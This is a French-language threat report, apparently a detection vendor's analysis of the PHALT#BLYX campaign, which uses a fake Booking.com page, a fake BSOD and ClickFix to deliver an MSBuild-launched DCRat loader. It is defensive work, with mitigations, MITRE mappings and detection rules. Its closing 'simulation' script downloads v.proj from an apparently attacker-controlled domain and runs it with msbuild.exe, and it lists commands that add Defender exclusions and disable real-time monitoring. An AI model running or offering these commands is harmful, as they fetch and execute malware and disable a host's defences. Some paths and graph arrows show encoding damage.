Analyse de PHALT#BLYX : faux BSOD et outils de construction de confiance dans les chaînes de logiciels malveillants
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Le rapport détaille une chaîne d’intrusion multi-étapes affectant le secteur de l’hôtellerie qui combine une fausse page d’accueil Booking.com, une animation trompeuse de type écran bleu, et un message à la ClickFix pour persuader les utilisateurs d’exécuter un dropper PowerShell. Ce dropper récupère un fichier projet MSBuild, qui exécute un chargeur DCRat sur mesure. Le chargeur altère Windows Defender, établit une persistance en utilisant un raccourci de démarrage .url, et injecte sa charge utile dans des processus légitimes. En s’appuyant sur des utilitaires « living-off-the-land » comme PowerShell et MSBuild.exe, les opérateurs réduisent les traces évidentes de logiciels malveillants. Des artefacts en langue russe dans la chaîne sont également notés comme un indice d’attribution.
Enquête
Les chercheurs de Securonix ont cartographié le flux depuis les emails de phishing offrant des liens de « résiliation de réservation » vers un domaine malveillant, puis vers une ligne de commande PowerShell qui localise msbuild.exe, télécharge un fichier v.proj, et l’exécute. Le projet v.proj effectue plusieurs actions: il ajoute des exclusions Windows Defender, récupère staxs.exe (une variante de DCRat), crée un raccourci de démarrage .url pour la persistance, et se connecte à l’infrastructure de commande et contrôle sur le port 3535. Le chargeur compresse ensuite et injecte l’étape finale dans aspnet_compiler.exe, utilisant un processus d’hollowing pour se fondre dans une activité légitime.
Atténuation
Réduisez l’exposition en formant les utilisateurs à reconnaître les messages de type ClickFix et les ingénieries sociales « exécutez cette commande pour résoudre ». Surveillez et restreignez l’exécution de MSBuild.exe, notamment lorsqu’il est invoqué depuis des chemins inhabituels ou des flux de travail pilotés par l’utilisateur, et activez la journalisation des blocs de script PowerShell pour une meilleure visibilité. Ajoutez des détections pour la création de raccourcis .url dans le dossier de démarrage et pour les modifications des exclusions de Windows Defender. Au niveau du réseau, bloquez le trafic sortant vers les domaines malveillants identifiés et interdisez explicitement ou alertez sur les sorties TCP/3535 suspectes là où elles ne sont pas requises.
Réponse
Si une activité est détectée, isolez l’hôte et conservez les artefacts clés, y compris v.proj, staxs.exe, et tout fichier de démarrage .url. Supprimez les exclusions Defender non autorisées, terminez les processus malveillants ou injectés, et bloquez les domaines/IPs associés de commande et contrôle, particulièrement toute communication sur le port 3535. Réinitialisez les identifiants potentiellement exposés, effectuez une analyse complète des logiciels malveillants, et examinez l’environnement pour détecter des exécutions similaires pilotées par MSBuild et des modèles de commandes PowerShell. Enfin, déployez des détections informées par le renseignement sur les menaces qui se concentrent sur les abus de MSBuild, le comportement ClickFix, et la persistance via les raccourcis de démarrage pour prévenir la récurrence.
« graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef file fill:#e6e6e6 classDef folder fill:#d9ead3 %% Nodes – Actions action_phishing[« <b>Action</b> – <b>T1566.002 Spearphishing Link</b><br/><b>Description</b>: La victime reçoit un email qui semble provenir de Booking.com et clique sur un lien malveillant vers un faux site de réservation. »] class action_phishing action action_user_execution[« <b>Action</b> – <b>T1204.001 Exécution par l’utilisateur</b> & <b>T1204.004 Copier-coller malveillant</b><br/><b>Description</b>: Le faux site affiche une page ressemblant à un BSOD qui dit à l’utilisateur de coller une commande PowerShell dans le dialogue Exécuter. »] class action_user_execution action action_defense_evasion_exclusions[« <b>Action</b> – <b>T1562 Altération des défenses</b> & <b>T1564.012 Fichier/Chemin Exclusions</b><br/><b>Description</b>: Le script v.proj ajoute des exclusions dans Windows Defender pour ProgramData et les extensions exécutables courantes. »] class action_defense_evasion_exclusions action action_persistence_shortcut[« <b>Action</b> – <b>T1547.009 Modification de raccourci</b><br/><b>Description</b>: Crée un raccourci Internet (.url) dans le dossier de démarrage de l’utilisateur qui pointe vers l’exécutable déposé. »] class action_persistence_shortcut action action_process_hollowing[« <b>Action</b> – <b>T1055.012 Creusement de processus</b><br/><b>Description</b>: Injecte la charge finale DCRat dans aspnet_compiler.exe en utilisant le creusement de processus. »] class action_process_hollowing action action_reflective_loading[« <b>Action</b> – <b>T1620 Chargement de code réflexif</b><br/><b>Description</b>: Charge des charges utiles DLL additionnelles de manière réflexive via Assembly.Load. »] class action_reflective_loading action action_c2_nonstandard_port[« <b>Action</b> – <b>T1571 Port non standard</b><br/><b>Description</b>: RAT communique avec les serveurs C2 via le port TCP 3535. »] class action_c2_nonstandard_port action action_c2_dynamic_resolution[« <b>Action</b> – <b>T1568 Résolution dynamique</b><br/><b>Description</b>: Résout plusieurs domaines C2 (ex. : asj77.com) à l’exécution. »] class action_c2_dynamic_resolution action action_obfuscation[« <b>Action</b> – <b>T1027.005 Fichiers ou informations obfusqués</b><br/><b>Description</b>: Les charges utiles sont fortement obfusquées et emballées pour échapper à la détection statique. »] class action_obfuscation action %% Nodes – Tools tool_powershell[« <b>Outil</b> – <b>T1059.001 PowerShell</b><br/><b>Description</b>: Exécute la commande malveillante qui télécharge le fichier de projet MSBuild. »] class tool_powershell tool tool_msbuild[« <b>Outil</b> – <b>T1127.001 MSBuild</b><br/><b>Description</b>: Utilitaire de développeur de confiance utilisé pour compiler et exécuter le fichier v.proj malveillant. »] class tool_msbuild tool tool_aspnet_compiler[« <b>Outil</b> – aspnet_compiler.exe<br/><b>Description</b>: Compilateur .NET légitime ciblé pour le creusement de processus. »] class tool_aspnet_compiler process %% Nodes – Malware / Files malware_vproj[« <b>Malware</b> – v.proj (projet MSBuild malveillant)<br/><b>Description</b>: Téléchargé par PowerShell, compilé par MSBuild, ajoute des exclusions à Defender et dépose une charge utile. »] class malware_vproj malware malware_dcrat[« <b>Malware</b> – Charge utile DCRat<br/><b>Description</b>: Cheval de Troie d’accès à distance final injecté dans aspnet_compiler.exe. »] class malware_dcrat malware file_shortcut[« <b>Fichier</b> – Raccourci de démarrage (.url)<br/><b>Description</b>: Pointe vers l’exécutable DCRat déposé et garantit l’exécution automatique au démarrage. »] class file_shortcut file folder_startup[« <b>Dossier</b> – Répertoire de démarrage<br/><b>Description</b>: Contient le raccourci malveillant causant la persistance. »] class folder_startup folder file_dcrat_exe[« <b>Fichier</b> – Exécutable DCRat déposé<br/><b>Description</b>: Exécuté après l’activation du raccourci. »] class file_dcrat_exe file dll_payloads[« <b>Fichier</b> – Charges utiles DLL additionnelles<br/><b>Description</b>: Chargées de manière réflexive par la charge utile DCRat. »] class dll_payloads file port_3535[« <b>Réseau</b> – Port TCP 3535<br/><b>Description</b>: Utilisé pour la communication C2. »] class port_3535 file domain_asj77[« <b>Réseau</b> – asj77.com (domaine C2)<br/><b>Description</b>: Résolu à l’exécution pour le commandement et le contrôle. »] class domain_asj77 file %% Connections – Flow action_phishing u002du002d>|mène à| action_user_execution action_user_execution u002du002d>|exécute| tool_powershell tool_powershell u002du002d>|télécharge| malware_vproj malware_vproj u002du002d>|compilé par| tool_msbuild tool_msbuild u002du002d>|exécute| malware_vproj malware_vproj u002du002d>|ajoute| action_defense_evasion_exclusions action_defense_evasion_exclusions u002du002d>|crée| file_shortcut file_shortcut u002du002d>|placé dans| folder_startup folder_startup u002du002d>|charge| file_dcrat_exe malware_vproj u002du002d>|dépose| file_dcrat_exe file_dcrat_exe u002du002d>|exécute| malware_dcrat malware_dcrat u002du002d>|injecte dans| tool_aspnet_compiler tool_aspnet_compiler u002du002d>|creusé par| malware_dcrat malware_dcrat u002du002d>|charge de manière réflexive| dll_payloads malware_dcrat u002du002d>|communique via| action_c2_nonstandard_port action_c2_nonstandard_port u002du002d>|utilise| port_3535 malware_dcrat u002du002d>|utilise la résolution dynamique| action_c2_dynamic_resolution action_c2_dynamic_resolution u002du002d>|résout vers| domain_asj77 malware_dcrat u002du002d>|obfusqué par| action_obfuscation «
Flux d’attaque
Détections
Téléchargement ou Téléversement via Powershell (via cmdline)
Voir
Modifications Suspectes des Préférences de Windows Defender (via powershell)
Voir
Points de Persistance Possibles [ASEPs – Hive Software/NTUSER] (via registry_event)
Voir
Binaire/Script Suspect dans l’Emplacement d’Autostart (via file_event)
Voir
IOC (HashSha512) à détecter : Analyse de PHALT#BLYX : comment les faux BSOD et les outils de construction fiables sont utilisés pour construire une infection malveillante
Voir
IOC (SourceIP) à détecter : Analyse de PHALT#BLYX : comment les faux BSOD et les outils de construction fiables sont utilisés pour construire une infection malveillante
Voir
IOC (HashSha256) à détecter : Analyse de PHALT#BLYX : comment les faux BSOD et les outils de construction fiables sont utilisés pour construire une infection malveillante
Voir
IOC (DestinationIP) à détecter : Analyse de PHALT#BLYX : comment les faux BSOD et les outils de construction fiables sont utilisés pour construire une infection malveillante
Voir
Exécution de Charge Utile Malveillante PHALT#BLYX via MSBuild et Process Hollowing [Création de Processus Windows]
Voir
Campagne de Logiciel Malveillant PHALT#BLYX Utilisant PowerShell et MSBuild pour l’Infection [PowerShell Windows]
Voir
Exécution de Simulation
Condition Préalable : la Vérification de l’Instrumentation et du Baseline doit avoir réussi.
Raison : Cette section détaille l’exécution précise de la technique d’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit reflètent directement les TTPs identifiés et visent à générer la télémétrie exacte attendue par la logique de détection.
-
Narratif & Commandes de l’Attaque :
L’acteur de la menace ouvre une session PowerShell sur un point d’extrémité compromis. Il localise d’abord lemsbuild.exesystème, puis télécharge un projet MSBuild malveillant (v.proj) dansC:ProgramData. L’attaquant invoque immédiatementmsbuild.exepour exécuter la charge utile, qui dépose une deuxième étape. Enfin, il altère Windows Defender en ajoutant des exclusions et en désactivant la surveillance en temps réel pour garantir la persistance. -
Script de Test de Régression :
# Script de simulation PHALT#BLYX – reproduit l'activité déclenchant la détection # -------------------------------------------------------------- # 1. Localiser msbuild.exe $msb = (Get-ChildItem -Path C: -Filter msbuild.exe -Recurse -ErrorAction SilentlyContinue | Select-Object -First 1).FullName # 2. Téléchargez le projet MSBuild malveillant vers ProgramData $projUrl = "https://2fa-bns.com/v.proj" $dest = "$env:ProgramDatav.proj" Invoke-WebRequest -Uri $projUrl -OutFile $dest # 3. Exécuter le projet avec msbuild.exe & $msb $dest # 4. Modifier les paramètres de Windows Defender (n'importe lequel des éléments suivants satisfera à la règle) # Décommentez les lignes souhaitées pour simuler les actions de l'attaquant. # Ajouter un chemin d'exclusion # Add-MpPreference -ExclusionPath "$env:ProgramData" # Ajouter une exclusion pour les fichiers .exe # Add-MpPreference -ExclusionExtension ".exe" # Ajouter une exclusion pour les fichiers .ps1 # Add-MpPreference -ExclusionExtension ".ps1" # Désactiver la Surveillance en temps réel # Set-MpPreference -DisableRealtimeMonitoring $true -
Commandes de Nettoyage :
# Supprimez le fichier projet déposé Remove-Item -Path "$env:ProgramDatav.proj" -Force -ErrorAction SilentlyContinue # Restaurez la Surveillance en temps réel de Windows Defender (si elle a été désactivée) Set-MpPreference -DisableRealtimeMonitoring $false # Supprimez toutes les exclusions ajoutées (exemple pour l'exclusion de chemin) Remove-MpPreference -ExclusionPath "$env:ProgramData" # Supprimez éventuellement tous les fichiers restants créés par la charge utile # Remove-Item -Path "C:ProgramDatamalicious_payload.exe" -Force -ErrorAction SilentlyContinue